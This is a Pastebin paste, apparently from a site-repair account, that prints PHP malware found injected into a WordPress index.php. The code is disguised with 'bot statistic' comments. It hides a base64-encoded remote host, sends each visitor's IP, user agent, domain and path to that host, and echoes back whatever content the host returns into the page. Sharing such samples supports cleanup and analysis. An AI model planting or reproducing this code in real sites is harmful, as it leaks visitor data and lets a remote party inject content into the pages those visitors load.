hackrepair

2012.05.27 Wordpress index.php hack

Jun 9th, 2012
989
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. <?php
  2. if (!isset($sRetry))
  3. {
  4. global $sRetry;
  5. $sRetry = 1;
  6. // This code use for global bot statistic
  7. $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
  8. $stCurlHandle = NULL;
  9. $stCurlLink = "";
  10. if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
  11. {
  12. if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
  13. $stCurlLink = base64_decode( 'aHR0cDovL2JvdHVwZGF0ZXN0YXRpc3RpYy5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
  14. @$stCurlHandle = curl_init( $stCurlLink );
  15. }
  16. }
  17. if ( $stCurlHandle !== NULL )
  18. {
  19. curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
  20. curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
  21. $sResult = @curl_exec($stCurlHandle);
  22. if ($sResult[0]=="O")
  23. {$sResult[0]=" ";
  24. echo $sResult; // Statistic code end
  25. }
  26. curl_close($stCurlHandle);
  27. }
  28. }
  29. ?>
Add Comment
Please, Sign In to add comment